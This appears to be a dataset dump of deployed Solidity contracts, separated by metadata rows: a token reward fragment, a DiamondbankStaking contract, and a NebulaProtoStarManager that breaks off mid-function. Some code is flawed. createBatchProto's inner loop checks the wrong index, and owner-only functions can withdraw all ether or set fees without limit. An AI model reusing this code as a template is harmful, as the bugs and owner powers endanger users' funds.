balances[msg.sender] = safeAdd(balances[msg.sender], _PUST);
totalSupply = safeAdd(totalSupply, _PUST);
emit Transfer(address(this), msg.sender, _PUST);
// alloc first reward in a new or init epoch
if(lastCallAddress == address(0) && epochLast == 0) {
firstCallReward = true;
}
if (firstCallReward) {
uint _firstReward = 0;
_firstReward = (_PUST - 1) * 2 / 10 + 1;
if (safeAdd(totalSupply, _firstReward) > topTotalSupply) {
_firstReward = safeSub(topTotalSupply, totalSupply);
}
balances[msg.sender] = safeAdd(balances[msg.sender], _firstReward);
totalSupply = safeAdd(totalSupply, _firstReward);
emit Reward(address(this), msg.sender, _firstReward);
}
lastEpochTX += 1;
// last call address info
lastCallAddress = msg.sender;
lastCallPUST = _PUST;
// calc last epoch
lastEpochBlock = safeAdd(lastEpochBlock, eachUserWeight);
}
//
function whichEpoch(uint _blocknumber) internal view returns (uint _epochNow) {
if (lastEpochBlock >= _blocknumber) {
_epochNow = epochLast;
} else {
//lastEpochBlock = safeAdd(lastEpochBlock, thisEpochBlockCount);
//thisEpochBlockCount = initBlockEpoch;
_epochNow = epochLast + (_blocknumber - lastEpochBlock) / initBlockEpoch + 1;
}
}
function calcpustprice(uint _epochNow, uint _epochLast) public returns (uint _eachPUSTprice) {
require (_epochNow - _epochLast > 0);
uint dif = _epochNow - _epochLast;
uint dif100 = dif/100;
dif = dif - dif100*100;
for(uint i=0;i<dif100;i++)
{
price1 = price1-price1*5/100;
price2 = price2-price2*7/1000;
}
price1 = price1 - price1*5*dif/10000;
price2 = price2 - price2*7*dif/100000;
_eachPUSTprice = price1+price2;
}
function doReward() internal returns (bool) {
if (lastEpochTX == 1) return false;
uint _lastReward = 0;
if(lastCallPUST > 0) {
_lastReward = (lastCallPUST-1) * 2 / 10 + 1;
}
if (safeAdd(totalSupply, _lastReward) > topTotalSupply) {
_lastReward = safeSub(topTotalSupply,totalSupply);
}
balances[lastCallAddress] = safeAdd(balances[lastCallAddress], _lastReward);
totalSupply = safeAdd(totalSupply, _lastReward);
emit Reward(address(this), lastCallAddress, _lastReward);
}
// only owner can deposit ether into put option contract
function DepositETH(uint _PUST) payable public {
// deposit ether
require (msg.sender == officialAddress);
topTotalSupply += _PUST;
}
// only end time, onwer can transfer contract's ether out.
function WithdrawETH() payable public onlyOwner {
officialAddress.transfer(address(this).balance);
}
// if this epoch is the last, then the reward called by the owner
function allocLastTxRewardByHand() public onlyOwner returns (bool success) {
lastEpochBlock = safeAdd(block.number, initBlockEpoch);
doReward();
success = true;
}
}
| 189,885 | 10,364 |
9563f1dbb5ef0769fbbec7c4de8bf579bccd11e4af7720e3e7e9ddc5827edc62
| 29,023 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/fb/fb7e80b13f152a17fdb888f56cb727f386435e27_DiamondbankStaking.sol
| 4,545 | 18,089 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IDb {
function rebase(uint256 dbProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract DiamondbankStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Db;
address public immutable sDb;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Db,
address _sDb,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime,
address _feeWallet) {
require(_Db != address(0));
Db = _Db;
require(_sDb != address(0));
sDb = _sDb;
feeWallet = _feeWallet;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
address public feeWallet;
uint256 public unstakeFee = 1000;
mapping(address => uint256) public timeForFree;
uint256 public unstakePeriod = 7;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Db).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IDb(sDb).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
timeForFree[msg.sender] = block.timestamp;
IERC20(sDb).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IDb(sDb).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IDb(sDb).balanceForGons(info.gons));
IERC20(Db).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
if(block.timestamp >= (timeForFree[msg.sender] + unstakePeriod.mul(86400))){
IERC20(sDb).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Db).safeTransfer(msg.sender, _amount);
} else {
uint256 feeAmount = _amount.mul(unstakeFee).div(10000);
IERC20(sDb).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Db).safeTransfer(feeWallet, feeAmount);
IERC20(Db).safeTransfer(msg.sender, _amount - feeAmount);
}
}
function index() public view returns (uint) {
return IDb(sDb).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IDb(sDb).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IDb(sDb).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Db).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sDb).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sDb).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
function resetEpochEndTime(uint32 _firstEpochTime) external onlyManager() {
epoch.endTime = _firstEpochTime;
}
function resetFeeWallet(address _feeWallet) external onlyManager() {
feeWallet = _feeWallet;
}
function resetUnstakeFee(uint256 _unstakeFee) external onlyManager() {
unstakeFee = _unstakeFee;
}
function resetUnstakePeriod(uint256 _unstakePeriod) external onlyManager() {
unstakePeriod = _unstakePeriod;
}
function currentBlockTimestamp() external view returns (uint) {
return block.timestamp;
}
}
| 97,850 | 10,365 |
03294490738a78b89ad18d2ff8755abc15e1f5ec957c0f6b231dccfa8eac2961
| 22,590 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/db/db6933b9ef215bddd70b9d1fce230ce03a5a5ae7_NebulaProtoStarManager.sol
| 6,471 | 21,660 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
library boostLib {
using SafeMath for uint256;
function calcReward(uint256 _dailyRewardsPerc,uint256 _timeStep,uint256 _timestamp, uint256 _lastClaimTime, uint256 _boost_) internal pure returns (uint256,uint256){
uint256 _one_ = 1;
uint256 one = _one_*(10**18)/1440;
uint256 elapsed = _timestamp - _lastClaimTime;
uint256 _rewardsPerDay = doPercentage(one, _dailyRewardsPerc);
(uint256 _rewardsTMul,uint256 _dayMultiple1) = getMultiple(elapsed,_timeStep,_rewardsPerDay);
uint256[2] memory _rewards_ = addFee(_rewardsTMul,_boost_);
uint256 _rewards = _rewards_[0];
uint256 _boost = _rewards_[1];
uint256 _all = _rewards+_boost;
return (_all,_boost);
}
function doPercentage(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 xx = 0;
if (y !=0){
xx = x.div((10000)/(y)).mul(100);
}
return xx;
}
function addFee(uint256 x,uint256 y) internal pure returns (uint256[2] memory) {
(uint256 w, uint256 y_2) = getMultiple(y,100,x);
return [w,doPercentage(x,y_2)];
}
function getMultiple(uint256 x,uint256 y,uint256 z) internal pure returns (uint,uint256) {
uint i = 0;
uint256 w = z;
while(x > y){
i++;
x = x - y;
z += w;
}
return (z,x);
}
function isInList(address x, address[] memory y) internal pure returns (bool){
for (uint i =0; i < y.length; i++) {
if (y[i] == x){
return true;
}
}
return false;
}
}
library nebuLib {
function addressInList(address[] memory _list, address _account) internal pure returns (bool){
for(uint i=0;i<_list.length;i++){
if(_account == _list[i]){
return true;
}
}
return false;
}
function mainBalance(address _account) internal view returns (uint256){
uint256 _balance = _account.balance;
return _balance;
}
function getMultiple(uint256 _x,uint256 _y)internal pure returns(uint256){
uint256 Zero = 0;
if (_y == Zero || _x == Zero || _x > _y){
return Zero;
}
uint256 z = _y;
uint256 i = 0;
while(z >= _x){
z -=_x;
i++;
}
return i;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract feeManager is Context {
function isInsolvent(address _account,string memory _name) external virtual view returns(bool);
function createProtos(address _account,string memory _name) external virtual;
function collapseProto(address _account,string memory _name) external virtual;
function payFee() payable virtual external;
function changeName(string memory _name,string memory new_name) external virtual;
function viewFeeInfo(address _account,string memory _name) external virtual view returns(uint256,uint256,bool,bool,bool,bool);
function getPeriodInfo() external virtual returns (uint256,uint256,uint256);
function getAccountsLength() external virtual view returns(uint256);
function accountExists(address _account) external virtual view returns (bool);
}
abstract contract prevNebulaProtoStarManager is Context {
function getDeadStarsData(address _account, uint256 _x) external virtual returns(string memory,uint256,uint256,uint256,uint256,uint256,uint256,bool,bool);
function protoAccountData(address _account, uint256 _x) external virtual returns(string memory,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256);
function protoAccountExists(address _account) external virtual returns (bool);
function getCollapseDate(address _account,uint256 _x) external virtual view returns(uint256);
function getdeadStarsLength(address _account) external virtual view returns(uint256);
function getProtoAccountsLength() external virtual view returns(uint256);
function getProtoAddress(uint256 _x) external virtual view returns(address);
function getProtoStarsLength(address _account) external virtual view returns(uint256);
}
abstract contract overseer is Context {
function getMultiplier(uint256 _x) external virtual returns(uint256);
function getBoostPerMin(uint256 _x) external virtual view returns(uint256);
function getRewardsPerMin() external virtual view returns (uint256);
function getCashoutRed(uint256 _x) external virtual view returns (uint256);
function getNftTimes(address _account, uint256 _id,uint256 _x) external virtual view returns(uint256);
function isStaked(address _account) internal virtual returns(bool);
function getNftAmount(address _account, uint256 _id) external view virtual returns(uint256);
function getFee() external virtual view returns(uint256);
function getModFee(uint256 _val) external virtual view returns(uint256);
function getNftPrice(uint _val) external virtual view returns(uint256);
function getEm() external virtual view returns (uint256);
}
contract NebulaProtoStarManager is Ownable {
string public constant name = "NebulaProtoStarManager";
string public constant symbol = "PMGR";
using SafeMath for uint256;
using SafeMath for uint;
struct PROTOstars {
string name;
uint256 creationTime;
uint256 lastClaimTime;
uint256 protoElapsed;
uint256 rewards;
uint256 boost;
uint256 protoLife;
uint256 lifeDecrease;
uint256 collapseDate;
bool insolvent;
}
struct DEADStars {
string name;
uint256 creationTime;
uint256 lastClaimTime;
uint256 protoElapsed;
uint256 rewards;
uint256 boost;
uint256 collapseDate;
bool insolvent;
bool imploded;
}
struct TIMES {
uint256 claimTime;
uint256 boostRewardsMin;
uint256 rewardsMin;
uint256 timeBoost;
uint256 timeRegular;
uint256 cashoutFeeRegular;
uint256 cashoutFee;
uint256 lifeDecrease;
uint256 tempRewards;
uint256 tempBoost;
uint256 tempTotRewards;
}
mapping(address => PROTOstars[]) public protostars;
mapping(address => DEADStars[]) public deadstars;
mapping(address => TIMES[]) public nftTimes;
address[] public PROTOaccounts;
address[] public PROTOtransfered;
address[] public Managers;
uint256[] public nftsHeld;
uint256 public Zero = 0;
uint256 public one = 1;
uint256 public gas = 1*(10**17);
uint256 public protoLife = 500 days;
uint256 public claimFee;
uint256 public rewardsPerMin;
uint256[] public boostmultiplier;
uint256[] public boostRewardsPerMin;
uint256[] public cashoutRed;
uint256[] public times;
address Guard;
bool public fees = false;
overseer public over;
feeManager public feeMGR;
address public nftAddress;
address payable public treasury;
modifier managerOnly() {require(nebuLib.addressInList(Managers,msg.sender)== true); _;}
modifier onlyGuard() {require(owner() == _msgSender() || Guard == _msgSender() || nebuLib.addressInList(Managers,_msgSender()) == true, "NOT_proto_GUARD");_;}
constructor(address overseer_ ,address _feeManager, address payable _treasury) {
over = overseer(overseer_);
treasury = _treasury;
feeMGR = feeManager(_feeManager);
Managers.push(owner());
rewardsPerMin = over.getRewardsPerMin();
for(uint i=0;i<3;i++){
boostmultiplier.push(over.getMultiplier(i));
boostRewardsPerMin.push(over.getRewardsPerMin());
cashoutRed.push(over.getCashoutRed(i));
}
}
function queryProtos(address _account) internal returns(bool){
PROTOstars[] storage protos = protostars[_account];
for(uint i=0;i<protos.length;i++){
PROTOstars storage proto = protos[i];
(uint256 nextDue,uint256 feeFroze,bool owed,bool full,bool insolvent,bool imploded) = feeMGR.viewFeeInfo(_account,proto.name);
if(imploded == true){
collapseProto(_account,i);
return false;
}
}
return true;
}
function queryProtoRewards(address _account) external returns(uint256,uint256){
require(nebuLib.addressInList(PROTOaccounts,_account) == true,"you do not hold any active Protostars");
while(queryProtos(_account) == false){
queryProtos(_account);
}
uint256 totalRewards;
uint256 cashoutFee;
PROTOstars[] storage protos = protostars[_account];
TIMES[] storage times = nftTimes[_account];
for(uint i=0;i<protos.length;i++){
PROTOstars storage proto = protos[i];
TIMES storage time = times[i];
string memory _name = protos[i].name;
if(feeMGR.isInsolvent(_account,_name) != true){
totalRewards += time.tempTotRewards;
cashoutFee += time.cashoutFee;
}
}
return (totalRewards,cashoutFee);
}
function recProtoRewards(address _account) external onlyGuard{
PROTOstars[] storage stars = protostars[_account];
TIMES[] storage times = nftTimes[_account];
for(uint i=0;i<stars.length;i++){
PROTOstars storage star = stars[i];
TIMES storage time = times[i];
star.lastClaimTime = star.lastClaimTime;
star.protoElapsed =star.lastClaimTime - star.creationTime;
star.rewards += time.tempRewards;
star.lifeDecrease += time.lifeDecrease;
star.boost += time.tempBoost;
star.collapseDate = star.protoLife - star.lifeDecrease - star.protoElapsed;
}
}
function createBatchProto(address[] memory _accounts, string[] memory _names) external onlyGuard {
for(uint i=0;i<_names.length;i++){
string memory _name = _names[i];
for(uint j=0;i<_accounts.length;j++){
address _account = _accounts[j];
require(bytes(_name).length > 3 && bytes(_name).length < 32,"the Node name must be within 3 and 32 characters");
require(nameExists(_account,_name) == false,"name has already been used");
if (nebuLib.addressInList(PROTOaccounts,_account) == false){
PROTOaccounts.push(_account);
}
PROTOstars[] storage protos = protostars[_account];
//(uint256 feePeriod,uint256 gracePeriod,uint256 protoLife) = feeMGR.getPeriodInfo();
uint256 _time = block.timestamp;
uint256 collapse = _time.add(protoLife);
protos.push(PROTOstars({
name:_name,
creationTime:_time,
lastClaimTime:_time,
lifeDecrease:Zero,
protoElapsed:Zero,
rewards:Zero,
boost:Zero,
protoLife:protoLife,
collapseDate:collapse,
insolvent:false
}));
feeMGR.createProtos(_account,_name);
}
}
}
function addProto(address _account, string memory _name) external onlyGuard {
require(bytes(_name).length > 3 && bytes(_name).length < 32,"the Node name must be within 3 and 32 characters");
require(nameExists(_account,_name) == false,"name has already been used");
if (nebuLib.addressInList(PROTOaccounts,_account) == false){
PROTOaccounts.push(_account);
}
PROTOstars[] storage protos = protostars[_account];
//(uint256 feePeriod,uint256 gracePeriod,uint256 protoLife) = feeMGR.getPeriodInfo();
uint256 _time = block.timestamp;
uint256 collapse = _time.add(protoLife);
protos.push(PROTOstars({
name:_name,
creationTime:_time,
lastClaimTime:_time,
lifeDecrease:Zero,
protoElapsed:Zero,
rewards:Zero,
boost:Zero,
protoLife:protoLife,
collapseDate:collapse,
insolvent:false
}));
feeMGR.createProtos(_account,_name);
}
function collapseProto(address _account, uint256 _x) internal {
PROTOstars[] storage protos = protostars[_account];
PROTOstars storage proto = protos[_x];
DEADStars[] storage dead = deadstars[_account];
(uint256 nextDue,uint256 feeFroze,bool owed,bool full,bool insolvent,bool imploded) = feeMGR.viewFeeInfo(_account,proto.name);
dead.push(DEADStars({
name:proto.name,
creationTime:proto.creationTime,
lastClaimTime:proto.lastClaimTime,
protoElapsed:proto.protoElapsed,
rewards:proto.rewards,
boost:proto.boost,
collapseDate:proto.collapseDate,
insolvent:insolvent,
imploded:true
}));
for(uint i=_x;i<protos.length;i++){
if(i != protos.length-1){
PROTOstars storage proto_bef = protos[i];
PROTOstars storage proto_now = protos[i+1];
proto_bef.name = proto_now.name;
proto_bef.creationTime = proto_now.creationTime;
proto_bef.protoElapsed = proto_now.protoElapsed;
proto_bef.collapseDate = block.timestamp;
}
}
protos.pop();
feeMGR.collapseProto(_account,proto.name);
}
function transferAllProtoData(address prev) external onlyGuard() {
prevNebulaProtoStarManager _prev = prevNebulaProtoStarManager(prev);
uint256 accts = _prev.getProtoAccountsLength();
for(uint i=0;i<accts;i++){
address _account = _prev.getProtoAddress(i);
if(nebuLib.addressInList(PROTOtransfered,_account) == false){
PROTOstars[] storage stars = protostars[_account];
uint256 P_stars = _prev.getProtoStarsLength(_account);
for(uint j=0;j<P_stars;j++){
(string memory a,uint256 b,uint256 c,uint256 d,uint256 e,uint256 f,uint256 g,uint256 h,uint256 i) = _prev.protoAccountData(_account,j);
stars.push(PROTOstars({
name:a,
creationTime:b,
lastClaimTime:c,
lifeDecrease:d,
protoElapsed:e,
rewards:f,
boost:g,
protoLife:h,
collapseDate:i,
insolvent:false
}));
}
}
DEADStars[] storage dead = deadstars[_account];
uint256 D_stars = _prev.getdeadStarsLength(_account);
for(uint j=0;j<D_stars;j++){
(string memory a, uint256 b, uint256 c, uint256 d, uint256 e, uint256 f, uint256 g, bool h,bool i) = _prev.getDeadStarsData(_account,j);
dead.push(DEADStars({
name:a,
creationTime:b,
lastClaimTime:c,
protoElapsed:d,
rewards:e,
boost:f,
collapseDate:g,
insolvent:h,
imploded:i
}));
}
PROTOtransfered.push(_account);
}
}
function nameExists(address _account, string memory _name) internal view returns(bool){
PROTOstars[] storage protos = protostars[_account];
for(uint i = 0;i<protos.length;i++) {
PROTOstars storage proto = protos[i];
string memory name = proto.name;
if(keccak256(bytes(name)) == keccak256(bytes(_name))){
return true;
}
}
return false;
}
function findFromName(address _account, string memory _name) internal view returns(uint256){
PROTOstars[] storage protos = protostars[_account];
for(uint i = 0;i<protos.length;i++) {
PROTOstars storage proto = protos[i];
if(keccak256(bytes(proto.name)) == keccak256(bytes(_name))){
return i;
}
}
}
function changeFeeManager(address _address) external onlyGuard {
